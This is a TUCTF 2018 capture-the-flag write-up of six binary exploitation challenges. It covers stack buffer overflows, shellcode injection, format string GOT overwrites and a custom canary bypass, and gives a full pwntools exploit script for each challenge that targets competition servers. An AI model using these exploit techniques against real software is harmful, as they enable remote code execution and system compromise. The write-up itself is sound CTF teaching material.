TUCTF 2018 Writeup
Nov 26, 2018 08:09 · 1653 words · 8 minute read
Shella Easy
Problem
Difficulty: easy-ish Want to be a drive-thru attendant? Well, no one does… But! the best employee receives their very own flag! whatdya say?
nc 52.15.182.55 12345
Solution
Let’s take a look at the main
function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-48h]
int v5; // [esp+40h] [ebp-8h]
setvbuf(stdout, 0, 2, 0x14u);
setvbuf(stdin, 0, 2, 0x14u);
v5 = -889275714;
printf("Yeah I'll have a %p with a side of fries thanks\n", &s);
gets(&s);
if ( v5 != -559038737 )
exit(0);
return 0;
}
As you can see, we have a memory leak with the printf
call and a buffer overflow with the gets
call. Furthermore, NX is not enabled for the binary, and the stack is readable, writable, and executable:
$ r2 -d ./shella-easy
...
[0xf7ed8c70]> i
...
nx false
...
[0xf7ed8c70]> dm
...
0xffddb000 - 0xffdfd000 - usr 136K s rwx [stack] [stack] ; map.stack_.rwx
So our objective is to first overwrite the v5
variable to equal to -559038737
or 0xDEADBEEF
in hex. You can do the signed integer to hex conversion using a online tool or just python.
Then we can control the eip
register and execute a shellcode than is placed on the stack with our input.
In conclusion, this is how our payload should look like:
- shellcode
- padding to 0x40 bytes
- 0xDEADBEEF <– overwrite
v5
- 8 bytes padding
- the leaked stack address that points to our shellcode
Here is the exploit in python:
from pwn import *
# sh = process('./shella-easy')
sh = remote('52.15.182.55', 12345)
addr = sh.recvuntil('thanks\n').split(' ')[4][2:]
addr = int(addr, 16)
shellcode = asm(shellcraft.i386.linux.sh())
payload = ''
payload += shellcode
payload += 'a'*(0x40-len(shellcode))
payload += p32(0xDEADBEEF) # -559038737
payload += 'a'*8
payload += p32(addr)
sh.sendline(payload)
sh.interactive()
flag: TUCTF{1_607_4_fl46_bu7_n0_fr135}
Ehh
Problem
Difficulty: easy Whatever… I dunno
nc 18.222.213.102 12345
Solution
This is a simple format string attack using printf
and %n
.
We have to overwrite a given address with 0x18
. Here is the exploit:
from pwn import *
# sh = process('./ehh')
sh = remote('18.222.213.102', 12345)
addr = int(sh.recvuntil('\n').split(' ')[-1][2:], 16)
payload = ''
payload += p32(addr)
payload += '%{}x'.format(0x18-4)
payload += '%6$n'
# for i in range(4,100):
# payload += '%{}$x '.format(i)
sh.sendline(payload)
sh.interactive()
flag: TUCTF{pr1n7f_15_pr377y_c00l_huh}
Canary
Problem
Difficulty: easy I can fix overflows easy! I’ll just make my own stack canary no problem. Just try and pwn this, I dare you
nc 18.222.227.1 12345
Solution
For this problem we have to defeat a custom implementation of a stack canary.
After some reversing of the binary. We can see that, basically, this is how the stack looks like:
- 40 bytes of input <– esp
- 4 bytes of canary from
/dev/urandom
- index counter to the copy of the canary in
.bss
- other stuff
Looking at this, we can see that if we overwrite the canary alone, the checkCanary
will just exit:
int __cdecl checkCanary(int canary)
{
int result; // eax
result = *(_DWORD *)(canary + 40);
if ( result != cans[*(_DWORD *)(canary + 44)] )
{
puts("---------------------- HEY NO STACK SMASHING! --------------------");
exit(1);
}
return result;
}
So, we have to change the index counter as well. Because the cans
global array is located inside the .bss
section, we know that it is initialized with 0x00
, and we are able to input null bytes through the read
call in doCanary
:
int __cdecl doCanary(void *buf)
{
initCanary((canary *)buf);
read(0, buf, 0x1A4u);
return checkCanary((int)buf);
}
So in summary, we can overwrite the canary with null bytes and change the index counter to something that is larger than zero which will just point to a random place in .bss
. Then both pointers to the canary will point to 4 null bytes, and the stack smashing detection would be bypassed. After bypassing the canary, we can just take control of eip
and print out the flag.
Here is the exploit in python:
from pwn import *
# sh = process('./canary')
sh = remote('18.222.227.1', 12345)
win = 0x080486b7
payload = 'a'*40
payload += '\x00'*4
payload += p32(2)
payload += p32(win)*10 # just to make sure :)
sh.sendlineafter('? ', payload)
sh.interactive()
flag: TUCTF{n3v3r_r0ll_y0ur_0wn_c4n4ry}
Shella Hard
Problem
Difficulty: mind-melting hard This program is crap! Is there even anything here?
nc 3.16.169.157 12345
Solution
Unlike Shella Easy, this time NX is enabled, and we only have a 14 bytes overflow which is not enough for a ROP chain to call execve
:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-10h]
read(0, &buf, 0x1Eu);
return 0;
}
However, we have a function named giveShell
:
$ r2 ./shella-hard
[0x08048340]> aaaa
[0x08048340]> pdf @ sym.giveShell
/ (fcn) sym.giveShell 26
| sym.giveShell ();
| 0x08048458 55 push ebp
| 0x08048459 89e5 mov ebp, esp
| 0x0804845b 90 nop
| 0x0804845c a1446a006a mov eax, dword [0x6a006a44] ; [0x6a006a44:4]=-1
| 0x08048461 006800 add byte [eax], ch
| 0x08048464 850408 test dword [eax + ecx], eax ; [0x13:4]=-1 ; 19
| 0x08048467 e8b4feffff call sym.imp.execve
| 0x0804846c 83c40c add esp, 0xc
| 0x0804846f 90 nop
| 0x08048470 c9 leave
\ 0x08048471 c3 ret
Looking at the assembly, the function looks a bit off. We don’t usually see a test
instruction in from tof a call
instruction.
Inspired by the hint: “read between the lines. If you know what I mean”, I decided to disassemble the function with a certain offset:
[0x08048340]> pd 8 @ sym.giveShell+6
| 0x0804845e 6a00 push 0
| 0x08048460 6a00 push 0
| 0x08048462 6800850408 push str.bin_sh ; 0x8048500 ; "/bin/sh"
| 0x08048467 e8b4feffff call sym.imp.execve
| 0x0804846c 83c40c add esp, 0xc
| 0x0804846f 90 nop
| 0x08048470 c9 leave
\ 0x08048471 c3 ret
And there we have it, a rop gadget that will open a shell for us. All we have to do is to overwrite the ret pointer to 0x0804845e
, and we are set.
Here is the python exploit:
from pwn import *
# sh = process('./shella-hard')
sh = remote('3.16.169.157', 12345)
giveShell = 0x08048458
payload = 'a'*20
payload += p32(giveShell+6)
sh.sendline(payload)
sh.interactive()
flag: TUCTF{175_wh475_1n51d3_7h47_c0un75}
Timber
Problem
Difficulty: easy Are you a single lumberjack tired of striking out? Well not with Timber! Our deep learning neural network is sure to find a perfect match for you. Try Timber today!
nc 18.222.250.47 12345
Solution
This is a hard version of Ehh. We have to again use a format string attack to overwrite some values. This time, we have to overwrite the GOT entry table and call the date
function which is, in fact, a win function.
Here is the python exploit:
from pwn import *
# sh = process('./timber')
sh = remote('18.222.250.47', 12345)
print sh.recvuntil('name: ')
puts_GOT = 0x804b01c
win_addr = 0x0804867b
payload = ''
payload += p32(puts_GOT)
payload += p32(puts_GOT+2)
payload += '%{}x'.format(0x0804-8)
payload += '%3$hn'
payload += '%{}x'.format(0x867b-0x0804)
payload += '%2$hn'
# for i in range(0,100):
# payload += '%{}$x '.format(i)
sh.sendline(payload)
sh.interactive()
For more explanation on format string attacks, you can check out my picoCTF 2018 writeup.
flag: TUCTF{wh0_64v3_y0u_7h47_c4n4ry}
Lisa
Problem
Difficulty: medium-ish Ayo, Johhny’s got your take from the job. Go meet up with em’ to claim your share. Oh, and stop asking to see the Mona Lisa alright. It’s embarrassing
nc 18.191.244.121 12345
Solution
This to me is the more interesting pwn challenge in this CTF.
Basically, you get a address leak to the password buffer and a buffer overflow in the fail
function that allows you to change the least significant byte of the return address:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char input; // [esp+0h] [ebp-34h]
setvbuf(stdout, 0, 2, 0x14u);
setvbuf(stdin, 0, 2, 0x14u);
memset(&input, 0, 0x30u);
pass = malloc(0x2Bu);
printf("Here's your share: %p\n", pass);
puts("What? The Mona Lisa!\nLook, if you want somethin' from me, I'm gonna need somethin' from you alright...");
read(0, &input, 0x30u);
inp = &input;
pfd = open("./password", 0);
read(pfd, pass, 0x2Bu);
checkPass();
return 0;
}
int checkPass()
{
int result; // eax
char buf; // [esp+0h] [ebp-18h]
if ( doStrcmp(inp, (char *)pass) )
result = lisa();
else
result = fail(&buf);
return result;
}
ssize_t __cdecl fail(void *buf)
{
puts("Ugh! You kiss your mother with that mouth?");
return read(0, buf, 29u);
}
Using this overflow, we have to somehow call the lisa
function that will print out the flag.
Because we can only control the least significant byte, our option is pretty limited:
$ r2 ./lisa
[0x000005f0]> aaaa
[0x000005f0]> s sym.main
[0x00000c40]> pdf
...
| 0x00000d01 8d8340000000 lea eax, [ebx + 0x40] ; "4" ; '@'
| 0x00000d07 8b10 mov edx, dword [eax]
| 0x00000d09 8d8348000000 lea eax, [ebx + 0x48] ; 'H'
| 0x00000d0f 8b00 mov eax, dword [eax]
| 0x00000d11 6a2b push 0x2b ; '+' ; size_t nbyte
| 0x00000d13 52 push edx ; void *buf
| 0x00000d14 50 push eax ; int fildes
| 0x00000d15 e836f8ffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000d1a 83c40c add esp, 0xc
| 0x00000d1d e89cfaffff call sym.checkPass
| 0x00000d22 b800000000 mov eax, 0
| 0x00000d27 8b5dfc mov ebx, dword [local_4h]
| 0x00000d2a c9 leave
\ 0x00000d2b c3 ret
Here are all the places that we can jump to. However, because it is a 32 bit binary and our buffer is the first thing on the stack, we can use our input to pass arguments to functions which is a plus.
Using both the stack layout and our overflow, we can jump to 0x00000d15
and supply the arguments for the read
call using our input.
So if we can write to the password buffer and make it identical to the input buffer, we can then get the flag.
Here is the python code that does that:
from pwn import *
# sh = process('./lisa')
sh = remote('18.191.244.121', 12345)
pass_addr = int(sh.recvuntil('...\n').split('\n')[0].split(' ')[-1][2:], 16)
print hex(pass_addr)
pause()
payload = p32(0)
payload += p32(pass_addr)
payload += p32(0x1d)
sh.sendline(payload)
payload = 'a'*0x18
payload += 'a'*4
payload += '\x15'
sh.sendafter('mouth?\n', payload)
payload = p32(0)
payload += p32(pass_addr)
payload += p32(0x1d)
sh.sendline(payload)
sh.interactive()
flag: TUCTF{wh0_pu7_7h47_buff3r_7h3r3?}